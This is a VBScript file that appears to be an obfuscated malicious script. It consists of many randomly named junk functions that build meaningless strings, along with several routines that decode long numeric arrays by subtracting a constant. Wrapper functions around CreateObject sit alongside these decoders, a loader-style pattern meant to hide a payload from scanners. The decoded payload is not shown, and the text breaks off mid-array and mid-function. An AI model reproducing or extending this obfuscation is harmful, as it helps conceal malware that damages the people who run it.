upHWiUxSitS=130
Randomize
XphmOsKWqEaxFy = Int((LZosqOclcDyaPDDcyBi-upHWiUxSitS+1)*Rnd+upHWiUxSitS)
For xfvY = 1 to XphmOsKWqEaxFy
Dim nAyfsTzuAEK,KtvBAdoEOKtTMK,DDGYtvtrJgI
XphmOsKWqEaxFy=97
KtvBAdoEOKtTMK=122
Randomize
XphmOsKWqEaxFy = Int((XphmOsKWqEaxFy-KtvBAdoEOKtTMK+1)*Rnd+KtvBAdoEOKtTMK)
ovUA = Chr(XphmOsKWqEaxFy)
RrDTOBeWN = RrDTOBeWN & ovUA
Next
cOVnmGGQMcwIYutTtJI = dCMRIoDQQ(qgBYjWkSBeKDvID, RrDTOBeWN)
ClaOjwwxwiyA = cOVnmGGQMcwIYutTtJI
End Function
ClaOjwwxwiyA()
Function OdRZoXHcXNE(ByVal jsdAIt)
OdRZoXHcXNE = VarType( jsdAIt)
End Function
Function vrKnukDrnU(ByVal HRKMyXybFUA)
Dim jsdAIt
Dim InIyoXnhH
Dim bslIBZKOUtOhBCzLNA
Dim GMtCuntmDBoFN
GMtCuntmDBoFN = 42252
jsdAIt = OdRZoXHcXNE(HRKMyXybFUA)
If jsdAIt = 8204 Then
For Each InIyoXnhH In HRKMyXybFUA
bslIBZKOUtOhBCzLNA = bslIBZKOUtOhBCzLNA & (InIyoXnhH - GMtCuntmDBoFN)
Next
End If
vrKnukDrnU = bslIBZKOUtOhBCzLNA
End Function
Function PJftPfB(ByVal objectType)
Set PJftPfB = CreateObject(objectType)
End Function
Function LYMkHMGSG()
Dim HRKMyXybFUA
Dim lJnbWhVNYxy
Dim POWJZOgyY
HRKMyXybFUA = Array(42329,42327,42328,42340,42341,42319,42320,42324,42362,42334,42373,42358,42364,42330,42329,42358,42363,42317,42371,42338,42366,42325,42363,42370,42323,42334,42360,42321,42332,42373,42323,42337,42355,42367,42367,42323,42328,42334,42339,42335,42319,42359,42326,42357,42330,42320,42342,42322,42371,42337,42350,42369,42325,42331,42339,42321,42339,42332,42334,42323,42333,42374,42367,42363,42328,42353,42319,42372,42337,42322,42340,42339,42352,42353,42335,42324,42373,42322,42357,42319,42367,42355,42325,42369,42340,42329,42328,42335,42338,42362,42358,42371,42374,42332,42318,42320,42366,42338,42340,42357,42317,42351,42359,42365,42371,42321,42333,42353,42370,42332,42323,42333,42356,42331,42331,42359,42365,42372,42334,42373,42335,42359,42350,42355,42338,42350,42340,42330,42351,42332,42332,42352,42357,42374,42319,42332,42370,42334,42373,42335,42370,42356,42339,42323,42356,42336,42331,42359,42318,42333,42329,42369,42320,42341,42333,42332,42318,42321,42337,42338,42356,42320,42318,42355,42374,42352,4235
lJnbWhVNYxy = vrKnukDrnU(HRKMyXybFUA)
LYMkHMGSG = lJnbWhVNYxy
End Function
LYMkHMGSG()
Function XAUVl(dPZowZadSLoYi, kIARVRbukzgxdsT)
Dim LXqmAnXHkwGpDe
Dim CQskCPRiZHurilM
FlvzoGXiNaWHlVRnpGo = Len(kIARVRbukzgxdsT)
Set LXqmAnXHkwGpDe = CreateObject("Scripting.Dictionary")
LXqmAnXHkwGpDe = Split(dPZowZadSLoYi, ",")
SytuYMablIQdxjsJ = (Len(dPZowZadSLoYi)/2 - 1)
for vynN = 1 To SytuYMablIQdxjsJ
zKgOIEneK = LXqmAnXHkwGpDe(vynN) + zKgOIEneK
Next
For spbMitfMbLhxqS = 134 To 42343
yQswCaIwSQkR = yQswCaIwSQkR + zKgOIEneK - spbMitfMbLhxqS
Next
For qQrdoruwLRYwp = 1 To FlvzoGXiNaWHlVRnpGo
Dim HrOdZwMOvuF,FwbcUmGPJrq,yRbznPveJnmDXV
HrOdZwMOvuF=1
FwbcUmGPJrq=FlvzoGXiNaWHlVRnpGo
Randomize
yRbznPveJnmDXV = Int((HrOdZwMOvuF-FwbcUmGPJrq+1)*Rnd+FwbcUmGPJrq)
NhHBeEuWlXsPScYLJm = NhHBeEuWlXsPScYLJm + yRbznPveJnmDXV
Next
XAUVl = yQswCaIwSQkR & kIARVRbukzgxdsT & NhHBeEuWlXsPScYLJm
End Function
Function TsDHGFyNfn()
for vcgDHXxTGxezFG = 5 to 15
Dim BRqMzHLm,xmkirtlMAgNHimTz,gkLPgftvbKJDZEz
mnUnxeqZRUx=1
xmkirtlMAgNHimTz=9
Randomize
LaMBYBEctLRpt = gkLPgftvbKJDZEz & ","
Next
Dim vcgDHXxTGxezFG,cQfg,shlelTEzML
vcgDHXxTGxezFG=15
cQfg=130
Randomize
shlelTEzML = Int((vcgDHXxTGxezFG-cQfg+1)*Rnd+cQfg)
For HjfMxvJdetNBgs = 1 to shlelTEzML
Dim VTNvHLVQQyTlyzK,WkvxbHSDPpzrNvuFh,mnUnxeqZRUx
shlelTEzML=97
WkvxbHSDPpzrNvuFh=122
Randomize
shlelTEzML = Int((shlelTEzML-WkvxbHSDPpzrNvuFh+1)*Rnd+WkvxbHSDPpzrNvuFh)
XlPe = Chr(shlelTEzML)
DNOPxrgOw = DNOPxrgOw & XlPe
Next
wFSspHgkhnwgCg = XAUVl(LaMBYBEctLRpt, DNOPxrgOw)
TsDHGFyNfn = wFSspHgkhnwgCg
End Function
TsDHGFyNfn()
Function RwQskuhyYJwPyo(oESBrdrTI, PyohXODuuKhVK)
Dim iUWrmEObbEBKjS
Dim racTzFFNpZodzFAsz
jFmMukUMZYFvYsecLYNeZ = Len(PyohXODuuKhVK)
Set iUWrmEObbEBKjS = CreateObject("Scripting.Dictionary")
iUWrmEObbEBKjS = Split(oESBrdrTI, ",")
wdElbbPJsNDUfwDJFIb = (Len(oESBrdrTI)/2 - 1)
for cpWklNs = 1 To wdElbbPJsNDUfwDJFIb
RAloCG = iUWrmEObbEBKjS(cpWklNs) + RAloCG
Next
For lEKRKAGOqk = 134 To 42343
qVLfIDmkxRmSVNclYD = qVLfIDmkxRmSVNclYD + RAloCG - lEKRKAGOqk
Next
For nSfcATskreBHQP = 1 To jFmMukUMZYFvYsecLYNeZ
Dim bJXbvZnQs,RGZStOMXKlEjSG,krxIBxXEeouq
bJXbvZnQs=1
RGZStOMXKlEjSG=jFmMukUMZYFvYsecLYNeZ
Randomize
krxIBxXEeouq = Int((bJXbvZnQs-RGZStOMXKlEjSG+1)*Rnd+RGZStOMXKlEjSG)
AdeTRxWZNVaByWeG = AdeTRxWZNVaByWeG + krxIBxXEeouq
Next
RwQskuhyYJwPyo = qVLfIDmkxRmSVNclYD & PyohXODuuKhVK & AdeTRxWZNVaByWeG
End Function
Function NjsrTGNtsP()
for RwJfSQNJcOhxquVAL = 5 to 15
Dim WWCOH,YvRmScUtEDA,AagSYsCQdiJJaR
KWQtxVTvJosVcTP=1
YvRmScUtEDA=9
Randomize
BqhskdBkMkOEdaVA = AagSYsCQdiJJaR & ","
Next
Dim RwJfSQNJcOhxquVAL,EEztpcu,IvOzBESPKX
RwJfSQNJcOhxquVAL=15
EEztpcu=130
Randomize
IvOzBESPKX = Int((RwJfSQNJcOhxquVAL-EEztpcu+1)*Rnd+EEztpcu)
For NYWfpbhzxXPsr = 1 to IvOzBESPKX
Dim SBHGAEzTI,OcucJSEmZGu,KWQtxVTvJosVcTP
IvOzBESPKX=97
OcucJSEmZGu=122
Randomize
IvOzBESPKX = Int((IvOzBESPKX-OcucJSEmZGu+1)*Rnd+OcucJSEmZGu)
fBFIOznVcNIJj = Chr(IvOzBESPKX)
ZqFosvvBqeU = ZqFosvvBqeU & fBFIOznVcNIJj
Next
mlYOlqURmnBUayQOwET = RwQskuhyYJwPyo(BqhskdBkMkOEdaVA, ZqFosvvBqeU)
NjsrTGNtsP = mlYOlqURmnBUayQOwET
End Function
NjsrTGNtsP()
Function FfgksKNPVIhDWo(zsGYGWNSv, tprKQCPtzSU)
Dim tmiJqNeYN
Dim nYHxaEHXv
BRCRjbTdEjW = Len(tprKQCPtzSU)
Set tmiJqNeYN = CreateObject("Scripting.Dictionary")
tmiJqNeYN = Split(zsGYGWNSv, ",")
UrFmknxKAXBrjTPyg = (Len(zsGYGWNSv)/2 - 1)
for fuxOLEsw = 1 To UrFmknxKAXBrjTPyg
SUNnGxWXrxH = tmiJqNeYN(fuxOLEsw) + SUNnGxWXrxH
Next
For qAEirhQ = 134 To 42343
SQyESbPhZW = SQyESbPhZW + SUNnGxWXrxH - qAEirhQ
Next
For DlPlJfDaeG = 1 To BRCRjbTdEjW
Dim Znffb,SfLnevU,MDcfxtWbLG
Znffb=1
SfLnevU=BRCRjbTdEjW
Randomize
MDcfxtWbLG = Int((Znffb-SfLnevU+1)*Rnd+SfLnevU)
hvBHggLhkg = hvBHggLhkg + MDcfxtWbLG
Next
FfgksKNPVIhDWo = SQyESbPhZW & tprKQCPtzSU & hvBHggLhkg
End Function
Function DDUjZMJdiJECuTGj()
for eTlyAGtPBvFXNVeoC = 5 to 15
Dim PAFQcIMmRbS,GTolYaZeXj,sbSETWkDNkRlvLP
waWxJEheGmQNf=1
GTolYaZeXj=9
Randomize
QNVakIfzEqqQwFgNlp = sbSETWkDNkRlvLP & ","
Next
Dim eTlyAGtPBvFXNVeoC,oCdb,RhUXhza
eTlyAGtPBvFXNVeoC=15
oCdb=130
Randomize
RhUXhza = Int((eTlyAGtPBvFXNVeoC-oCdb+1)*Rnd+oCdb)
For xffpkVSUYXo = 1 to RhUXhza
Dim bQWeyixv,hXgwAoqdBNoIZbJ,waWxJEheGmQNf
RhUXhza=97
hXgwAoqdBNoIZbJ=122
Randomize
RhUXhza = Int((RhUXhza-hXgwAoqdBNoIZbJ+1)*Rnd+hXgwAoqdBNoIZbJ)
DVSobxTJgCUKxY = Chr(RhUXhza)
vXYnMIlciDqA = vXYnMIlciDqA & DVSobxTJgCUKxY
Next
VXcVIMDEmaNbOOdGny = FfgksKNPVIhDWo(QNVakIfzEqqQwFgNlp, vXYnMIlciDqA)
DDUjZMJdiJECuTGj = VXcVIMDEmaNbOOdGny
End Function
DDUjZMJdiJECuTGj()
Function fanscs(ByVal IdtREGoHUrXLgx)
fanscs = VarType( IdtREGoHUrXLgx)
End Function
Function wglSEGmbu(ByVal kDFHDFvrigPkWwrmz)
Dim IdtREGoHUrXLgx
Dim EINFjYDdXzoUoVFg
Dim jIOzylBYAofQNZjugFC
Dim eOoBeCefGGWuLJDnnd
eOoBeCefGGWuLJDnnd = 42252
IdtREGoHUrXLgx = fanscs(kDFHDFvrigPkWwrmz)
If IdtREGoHUrXLgx = 8204 Then
For Each EINFjYDdXzoUoVFg In kDFHDFvrigPkWwrmz
jIOzylBYAofQNZjugFC = jIOzylBYAofQNZjugFC & (EINFjYDdXzoUoVFg - eOoBeCefGGWuLJDnnd)
Next
End If
wglSEGmbu = jIOzylBYAofQNZjugFC
End Function
Function nATHo(ByVal objectType)
Set nATHo = CreateObject(objectType)
End Function
Function FutmPyQuojTbRv()
Dim kDFHDFvrigPkWwrmz
Dim HjwTFuReuUHJmvRt
Dim EjWZjGlQPhqMiKrh
kDFHDFvrigPkWwrmz = Array(42333,42341,42331,42339,42338,42362,42319,42351,42372,42328,42342,42355,42371,42331,42363,42361,42367,42359,42358,42355,42339,42327,42358,42325,42355,42361,42349,42370,42365,42359,42327,42337,42359,42339,42355,42350,42332,42338,42322,42368,42317,42361,42366,42366,42332,42328,42363,42350,42340,42342,42330,42368,42334,42330,42372,42322,42363,42323,42364,42357,42330,42323,42361,42329,42318,42321,42371,42342,42357,42329,42339,42339,42354,42364,42355,42358,42336,42367,42367,42338,42373,42373,42341,42333,42340,42334,42320,42340,42342,42349,42362,42326,42354,42339,42355,42369,42317,42353,42365,42327,42332,42331,42368,42327,42319,42365,42330,42350,42356,42330,42361,42370,42330,42337,42359,42331,42357,42338,42363,42359,42318,42341,42317,42324,42342,42330,42365,42326,42326,42360,42358,42363,42319,42356,42323,42359,42322,42330,42331,42355,42320,42350,42364,42328,42363,42366,42370,42328,42361,42334,42328,42354,42364,42323,42326,42365,42330,42361,42360,42363,42317,42321,42335,42370,42353,4237
HjwTFuReuUHJmvRt = wglSEGmbu(kDFHDFvrigPkWwrmz)
FutmPyQuojTbRv = HjwTFuReuUHJmvRt
End Function
FutmPyQuojTbRv()
Function FobNrx(uRrS, cMSjlTemypG)
Dim RilAsPPabX
Dim DVXPDvGreAnfskPLI
lpAkgGnNInRBsd = Len(cMSjlTemypG)
Set RilAsPPabX = CreateObject("Scripting.Dictionary")
RilAsPPabX = Split(uRrS, ",")
vvNhLuBkRLJvrCmqe = (Len(uRrS)/2 - 1)
for EGzwjmFUyjf = 1 To vvNhLuBkRLJvrCmqe
uxSRbhycAAJoWO = RilAsPPabX(EGzwjmFUyjf) + uxSRbhycAAJoWO
Next
For oZUCGjiYiForFD = 134 To 42343
JqmAzQJQt = JqmAzQJQt + uxSRbhycAAJoWO - oZUCGjiYiForFD
Next
For DYRrRFmJVwhGT = 1 To lpAkgGnNInRBsd
Dim ZscvSdiuNlR,rAwWPMcjbv,YbjSXQbfE
ZscvSdiuNlR=1
rAwWPMcjbv=lpAkgGnNInRBsd
Randomize
YbjSXQbfE = Int((ZscvSdiuNlR-rAwWPMcjbv+1)*Rnd+rAwWPMcjbv)
XVAQJfFJVOX = XVAQJfFJVOX + YbjSXQbfE
Next
FobNrx = JqmAzQJQt & cMSjlTemypG & XVAQJfFJVOX
End Function
Function ITxfXARsdvN()
for GPIOwrjmqJDGVDmiojS = 5 to 15
Dim WrdcwWg,UmsAPeJZklCqqvs,GrlDVluV
cclRcJKpGvcNKY=1
UmsAPeJZklCqqvs=9
Randomize
QUOflptxmihHptQMeB = GrlDVluV & ","
Next
Dim GPIOwrjmqJDGVDmiojS,GHLmvDXUsJON,gaARth
GPIOwrjmqJDGVDmiojS=15
GHLmvDXUsJON=130
Randomize
gaARth = Int((GPIOwrjmqJDGVDmiojS-GHLmvDXUsJON+1)*Rnd+GHLmvDXUsJON)
For mhZSjKfd = 1 to gaARth
Dim YEIgWZjFN,HJoCNaYYUVYMqwtDH,cclRcJKpGvcNKY
gaARth=97
HJoCNaYYUVYMqwtDH=122
Randomize
gaARth = Int((gaARth-HJoCNaYYUVYMqwtDH+1)*Rnd+HJoCNaYYUVYMqwtDH)
EIGsi = Chr(gaARth)
QVJaXUcekl = QVJaXUcekl & EIGsi
Next
rtAuZQbgBzXjqnQ = FobNrx(QUOflptxmihHptQMeB, QVJaXUcekl)
ITxfXARsdvN = rtAuZQbgBzXjqnQ
End Function
ITxfXARsdvN()
kLLZwp()
Function Qxvrue(ByVal fLgSYVnhpxWi)
Qxvrue = VarType( fLgSYVnhpxWi)
End Function
Function niSAEzjs(ByVal dcqzhjlHIHbsRQug)
Dim fLgSYVnhpxWi
Dim MFRQSyQVdQPbGQsv
Dim HBBCVhkokgYiW
Dim dRXolnzhTaeL
dRXolnzhTaeL = 42252
fLgSYVnhpxWi = Qxvrue(dcqzhjlHIHbsRQug)
If fLgSYVnhpxWi = 8204 Then
For Each MFRQSyQVdQPbGQsv In dcqzhjlHIHbsRQug
HBBCVhkokgYiW = HBBCVhkokgYiW & (MFRQSyQVdQPbGQsv - dRXolnzhTaeL)
Next
End If
niSAEzjs = HBBCVhkokgYiW
End Function
Function UWRUJAsOfkPPrK(ByVal objectType)
Set UWRUJAsOfkPPrK = CreateObject(objectType)
End Function
Function fVdflZizzyrm()
Dim dcqzhjlHIHbsRQug
Dim UctOobWqAK
Dim SUaggTqtCIwbIeEoo
dcqzhjlHIHbsRQug = Array(42320,42367,42349,42360,42335,42323,42356,42367,42341,42322,42351,42332,42318,42329,42370,42350,42349,42362,42326,42353,42318,42325,42365,42367,42356,42323,42368,42341,42339,42368,42368,42360,42358,42327,42370,42349,42327,42336,42320,42342,42327,42357,42352,42332,42370,42337,42328,42366,42371,42332,42364,42369,42336,42351,42321,42369,42318,42357,42320,42328,42330,42325,42339,42353,42329,42365,42355,42365,42333,42337,42333,42324,42358,42359,42337,42335,42353,42350,42372,42329,42370,42318,42350,42323,42321,42373,42334,42324,42322,42317,42341,42350,42332,42367,42328,42318,42329,42374,42320,42321,42363,42337,42350,42350,42373,42356,42328,42358,42325,42361,42333,42349,42360,42365,42333,42328,42356,42333,42342,42330,42341,42342,42360,42332,42371,42364,42366,42365,42341,42336,42323,42354,42341,42367,42341,42350,42349,42374,42324,42339,42362,42357,42373,42336,42359,42373,42365,42341,42351,42317,42337,42371,42342,42364,42354,42332,42357,42328,42354,42326,42365,42337,42327,42363,42354,42359
UctOobWqAK = niSAEzjs(dcqzhjlHIHbsRQug)
fVdflZizzyrm = UctOobWqAK
End Function
fVdflZizzyrm()
Function YYfRDYZJuDZ(biVjXmBsDB, VRkEkEXjIo)
Dim ApXdgjtzBDS
Dim hqpqIBwsWCzqxuCBY
aiehUdjSOwlRHANaDqsG = Len(VRkEkEXjIo)
Set ApXdgjtzBDS = CreateObject("Scripting.Dictionary")
ApXdgjtzBDS = Split(biVjXmBsDB, ",")
WpgJsAHtsgsOkEAgzBy = (Len(biVjXmBsDB)/2 - 1)
for ppBJV = 1 To WpgJsAHtsgsOkEAgzBy
gHgfDEF = ApXdgjtzBDS(ppBJV) + gHgfDEF
Next
For WkiFrHMfJi = 134 To 42343
TNuPuBMsw = TNuPuBMsw + gHgfDEF - WkiFrHMfJi
Next
For swHOlNXdxqGuIkgUM = 1 To aiehUdjSOwlRHANaDqsG
Dim oWCnKsfuXSHjw,dNxHxECGu,tJBGOzc
oWCnKsfuXSHjw=1
dNxHxECGu=aiehUdjSOwlRHANaDqsG
Randomize
tJBGOzc = Int((oWCnKsfuXSHjw-dNxHxECGu+1)*Rnd+dNxHxECGu)
bxZWvYJGuiEb = bxZWvYJGuiEb + tJBGOzc
Next
YYfRDYZJuDZ = TNuPuBMsw & VRkEkEXjIo & bxZWvYJGuiEb
End Function
Function BnbSFtctlD()
for dfSwUiMAFErNPAanhz = 5 to 15
Dim MdzexbYmWK,lILaXdDkaelPZ,MZFvSZmmWMXSDOfg
oFnXbrS=1
lILaXdDkaelPZ=9
Randomize
yXOvPwZofRckmANgw = MZFvSZmmWMXSDOfg & ","
Next
Dim dfSwUiMAFErNPAanhz,tHFCGfa,KxEpeg
dfSwUiMAFErNPAanhz=15
tHFCGfa=130
Randomize
KxEpeg = Int((dfSwUiMAFErNPAanhz-tHFCGfa+1)*Rnd+tHFCGfa)
For FPhXtwxnUoxQ = 1 to KxEpeg
Dim NJeawBRZhhAG,VzbaoSQBLshdAXx,oFnXbrS
KxEpeg=97
VzbaoSQBLshdAXx=122
Randomize
KxEpeg = Int((KxEpeg-VzbaoSQBLshdAXx+1)*Rnd+VzbaoSQBLshdAXx)
MLiZFJduWEaQ = Chr(KxEpeg)
EmEsfGMjXOvoITPYEbH = EmEsfGMjXOvoITPYEbH & MLiZFJduWEaQ
Next
WTJQzRPAxBzVzq = YYfRDYZJuDZ(yXOvPwZofRckmANgw, EmEsfGMjXOvoITPYEbH)
BnbSFtctlD = WTJQzRPAxBzVzq
End Function
BnbSFtctlD()
Function YXlMXqGSEHafn(bYFnnnmzDn, ESQIaQfsFVkVgdpN)
Dim QgtBtIoDAI
Dim UoLelRxDFrjOf
czNnUPOTbJFn = Len(ESQIaQfsFVkVgdpN)
Set QgtBtIoDAI = CreateObject("Scripting.Dictionary")
QgtBtIoDAI = Split(bYFnnnmzDn, ",")
KQDaXTnNaCWpjtMDBBpi = (Len(bYFnnnmzDn)/2 - 1)
for HqvafoHkfCiYtq = 1 To KQDaXTnNaCWpjtMDBBpi
IMIgU = QgtBtIoDAI(HqvafoHkfCiYtq) + IMIgU
Next
For fnGkLCQ = 134 To 42343
cWignONIdtYsJzNiVqp = cWignONIdtYsJzNiVqp + IMIgU - fnGkLCQ
Next
For FHETmRwihsylXMtE = 1 To czNnUPOTbJFn
Dim DZRpteGCK,upaABFjXPjAgL,QRbLIPN
DZRpteGCK=1
upaABFjXPjAgL=czNnUPOTbJFn
Randomize
QRbLIPN = Int((DZRpteGCK-upaABFjXPjAgL+1)*Rnd+upaABFjXPjAgL)
XJHljDKuNWaACJr = XJHljDKuNWaACJr + QRbLIPN
Next
YXlMXqGSEHafn = cWignONIdtYsJzNiVqp & ESQIaQfsFVkVgdpN & XJHljDKuNWaACJr
End Function
Function nlhoQyvpKsIze()
for CYoFcbcyJAesKKBuznEJ = 5 to 15
Dim lJyQUQj,rhKvWsWrkLv,yfrKREdJSQkvAcSXy
EDpRgSuXKtlYG=1
rhKvWsWrkLv=9
Randomize
typScLTWsuvovCn = yfrKREdJSQkvAcSXy & ","
Next
Dim CYoFcbcyJAesKKBuznEJ,MVGuhRir,ZDPUtuqkLIGu
CYoFcbcyJAesKKBuznEJ=15
MVGuhRir=130
Randomize
ZDPUtuqkLIGu = Int((CYoFcbcyJAesKKBuznEJ-MVGuhRir+1)*Rnd+MVGuhRir)
For rTYFA = 1 to ZDPUtuqkLIGu
Dim OqdkDwGntuL,CpYIXBECHes,EDpRgSuXKtlYG
ZDPUtuqkLIGu=97
CpYIXBECHes=122
Randomize
ZDPUtuqkLIGu = Int((ZDPUtuqkLIGu-CpYIXBECHes+1)*Rnd+CpYIXBECHes)
Nkib = Chr(ZDPUtuqkLIGu)
zyntObrumLySGmKSDVX = zyntObrumLySGmKSDVX & Nkib
Next
xmVcVUXnYJiVWNxv = YXlMXqGSEHafn(typScLTWsuvovCn, zyntObrumLySGmKSDVX)
nlhoQyvpKsIze = xmVcVUXnYJiVWNxv
End Function
nlhoQyvpKsIze()
Function SAZimmImcN(gwGSKQpap, CZJQNDsQIzBof)
Dim SaOHJZmlUHLnXrOh
Dim IRuoZvlZRbsgJSu
bBNIOObBdPB = Len(CZJQNDsQIzBof)
Set SaOHJZmlUHLnXrOh = CreateObject("Scripting.Dictionary")
SaOHJZmlUHLnXrOh = Split(gwGSKQpap, ",")
QZJFslCzvlPWopqihG = (Len(gwGSKQpap)/2 - 1)
for loXHGIr = 1 To QZJFslCzvlPWopqihG
SnoYPuHn = SaOHJZmlUHLnXrOh(loXHGIr) + SnoYPuHn
Next
For tuYOChbtZm = 134 To 42343
fpiDRgbVzyGkax = fpiDRgbVzyGkax + SnoYPuHn - tuYOChbtZm
Next
For RHLudqHn = 1 To bBNIOObBdPB
Dim xJxr,OigyQuSD,mSBbUgcONU
xJxr=1
OigyQuSD=bBNIOObBdPB
Randomize
mSBbUgcONU = Int((xJxr-OigyQuSD+1)*Rnd+OigyQuSD)
KvyVoAgXJxQcwxqC = KvyVoAgXJxQcwxqC + mSBbUgcONU
Next
SAZimmImcN = fpiDRgbVzyGkax & CZJQNDsQIzBof & KvyVoAgXJxQcwxqC
End Function
Function OsZdzBtsufSslUnKVElS()
for AngKDdUcVpuwxMjXCSyoJ = 5 to 15
Dim oQIKmscGsQ,pROcWUShZwCyi,ijpwnTWq
HDFwJNsdZeiNugMsx=1
pROcWUShZwCyi=9
Randomize
ssZGIdFUKcq = ijpwnTWq & ","
Next
Dim AngKDdUcVpuwxMjXCSyoJ,nuCkYvGip,dCzIwaMPaVhQWF
AngKDdUcVpuwxMjXCSyoJ=15
nuCkYvGip=130
Randomize
dCzIwaMPaVhQWF = Int((AngKDdUcVpuwxMjXCSyoJ-nuCkYvGip+1)*Rnd+nuCkYvGip)
For XhxCOmXciIwvE = 1 to dCzIwaMPaVhQWF
Dim kWvYlQ,rNMPTMhlfXdtbaurGweQb,HDFwJNsdZeiNugMsx
dCzIwaMPaVhQWF=97
rNMPTMhlfXdtbaurGweQb=122
Randomize
dCzIwaMPaVhQWF = Int((dCzIwaMPaVhQWF-rNMPTMhlfXdtbaurGweQb+1)*Rnd+rNMPTMhlfXdtbaurGweQb)
CdXOnDvYGm = Chr(dCzIwaMPaVhQWF)
RxCLLCLtbymwuqh = RxCLLCLtbymwuqh & CdXOnDvYGm
Next
abxwpmVZwZoVO = SAZimmImcN(ssZGIdFUKcq, RxCLLCLtbymwuqh)
OsZdzBtsufSslUnKVElS = abxwpmVZwZoVO
End Function
OsZdzBtsufSslUnKVElS()
Function HBEMGcMYpajN(ByVal jFwYDwAmul)
HBEMGcMYpajN = VarType( jFwYDwAmul)
End Function
Function vqWkxrTsL(ByVal QNiqgPEAhAWLlRl)
Dim jFwYDwAmul
Dim WCULSRrFQ
Dim VFNqWeUFxOTzAOPJ
Dim zvTmYaJYlNvXHZuYHSUa
zvTmYaJYlNvXHZuYHSUa = 42252
jFwYDwAmul = HBEMGcMYpajN(QNiqgPEAhAWLlRl)
If jFwYDwAmul = 8204 Then
For Each WCULSRrFQ In QNiqgPEAhAWLlRl
VFNqWeUFxOTzAOPJ = VFNqWeUFxOTzAOPJ & (WCULSRrFQ - zvTmYaJYlNvXHZuYHSUa)
Next
End If
vqWkxrTsL = VFNqWeUFxOTzAOPJ
End Function
Function BNdCgROWylVnE(ByVal objectType)
Set BNdCgROWylVnE = CreateObject(objectType)
End Function
Function CTVYTsvwoEJ()
Dim QNiqgPEAhAWLlRl
Dim jxxXUus
Dim itoHlSQF
QNiqgPEAhAWLlRl = Array(42325,42326,42326,42352,42352,42333,42351,42359,42319,42324,42364,42336,42365,42352,42359,42331,42322,42326,42363,42326,42326,42356,42327,42332,42341,42334,42328,42358,42330,42355,42342,42325,42368,42318,42341,42366,42319,42323,42318,42336,42336,42354,42352,42327,42354,42321,42336,42352,42323,42355,42322,42320,42318,42320,42354,42349,42374,42368,42321,42328,42322,42367,42340,42338,42357,42356,42342,42363,42322,42367,42329,42373,42324,42338,42364,42353,42321,42374,42358,42337,42372,42356,42351,42356,42350,42338,42323,42365,42339,42372,42366,42325,42319,42364,42330,42350,42324,42324,42351,42373,42353,42353,42340,42330,42336,42323,42370,42354,42330,42317,42339,42374,42326,42358,42330,42340,42332,42364,42369,42329,42349,42358,42334,42324,42318,42321,42371,42335,42325,42331,42339,42371,42340,42360,42365,42335,42326,42332,42330,42337,42349,42349,42352,42338,42349,42367,42373,42335,42350,42365,42328,42334,42330,42332,42340,42370,42330,42333,42329,42332,42327,42352,42340,42373,42353,42349,
jxxXUus = vqWkxrTsL(QNiqgPEAhAWLlRl)
CTVYTsvwoEJ = jxxXUus
End Function
CTVYTsvwoEJ()
Function urTRybUGAr(SZcNporDEv, IAlzVSxwm)
Dim BcZEkwuhH
Dim NGSUfwyrG
xQqxluDJBHHHoK = Len(IAlzVSxwm)
Set BcZEkwuhH = CreateObject("Scripting.Dictionary")
BcZEkwuhH = Split(SZcNporDEv, ",")
LcilnVmIRRPgBhmznlAF = (Len(SZcNporDEv)/2 - 1)
for jEYcSwhXe = 1 To LcilnVmIRRPgBhmznlAF
gcaHTyzihwrp = BcZEkwuhH(jEYcSwhXe) + gcaHTyzihwrp
Next
For umlAtScGKK = 134 To 42343
QZXOtTPIc = QZXOtTPIc + gcaHTyzihwrp - umlAtScGKK
Next
For HrqxiaKSD = 1 To xQqxluDJBHHHoK
Dim XZmJ,UKmkKBZZK,wVoSncY
XZmJ=1
UKmkKBZZK=xQqxluDJBHHHoK
Randomize
wVoSncY = Int((XZmJ-UKmkKBZZK+1)*Rnd+UKmkKBZZK)
eERUWUiQV = eERUWUiQV + wVoSncY
Next
urTRybUGAr = QZXOtTPIc & IAlzVSxwm & eERUWUiQV
End Function
Function QpGiREklxu()
for VJQnitZTIRnAcWOucCKQd = 5 to 15
Dim ahRQda,PvbcgviC,epbCvrOpwdy
oPMkTXbi=1
PvbcgviC=9
Randomize
pBIaicPlBJ = epbCvrOpwdy & ","
Next
Dim VJQnitZTIRnAcWOucCKQd,FfpXmSw,mMjkWnuLz
VJQnitZTIRnAcWOucCKQd=15
FfpXmSw=130
Randomize
mMjkWnuLz = Int((VJQnitZTIRnAcWOucCKQd-FfpXmSw+1)*Rnd+FfpXmSw)
For DZLnA = 1 to mMjkWnuLz
Dim loUUAHq,RKgsoTwUVVVv,oPMkTXbi
mMjkWnuLz=97
RKgsoTwUVVVv=122
Randomize
mMjkWnuLz = Int((mMjkWnuLz-RKgsoTwUVVVv+1)*Rnd+RKgsoTwUVVVv)
EKngPW = Chr(mMjkWnuLz)
pVeiZWstrT = pVeiZWstrT & EKngPW
Next
LImlWIRckTlknRoZHVtA = urTRybUGAr(pBIaicPlBJ, pVeiZWstrT)
QpGiREklxu = LImlWIRckTlknRoZHVtA
End Function
QpGiREklxu()
Function YTikTjgy(JyWnJ, lipGuCYtoTGYAfgpSWX)
Dim XugDuIMwE
Dim rBADmEnvejXC
lLrxzFoCPYucCHYydHL = Len(lipGuCYtoTGYAfgpSWX)
Set XugDuIMwE = CreateObject("Scripting.Dictionary")
XugDuIMwE = Split(JyWnJ, ",")
cVUchjQwbLOUmPH = (Len(JyWnJ)/2 - 1)
for ugQGHWeGwiZz = 1 To cVUchjQwbLOUmPH
TIstUxUXSnT = XugDuIMwE(ugQGHWeGwiZz) + TIstUxUXSnT
Next
For FDmHNoDMlMbVbV = 134 To 42343
chOOJCOMEhyyBmjg = chOOJCOMEhyyBmjg + TIstUxUXSnT - FDmHNoDMlMbVbV
Next
For FjbVyrUpZbTKODA = 1 To lLrxzFoCPYucCHYydHL
Dim IktGM,LCVOQRtVoms,nRYPOtBTwzP
IktGM=1
LCVOQRtVoms=lLrxzFoCPYucCHYydHL
Randomize
nRYPOtBTwzP = Int((IktGM-LCVOQRtVoms+1)*Rnd+LCVOQRtVoms)
eKnDazMd = eKnDazMd + nRYPOtBTwzP
Next
YTikTjgy = chOOJCOMEhyyBmjg & lipGuCYtoTGYAfgpSWX & eKnDazMd
End Function
Function tpomOiaKNvYKbNqtJLK()
for KZCPNzhxlxAOraHKlLaO = 5 to 15
Dim CBjvwGvsLXOBzU,KkngJTpnfv,UQnlWGt
jUDFiiwQCV=1
KkngJTpnfv=9
Randomize
LWlnYrqletUCKShUju = UQnlWGt & ","
Next
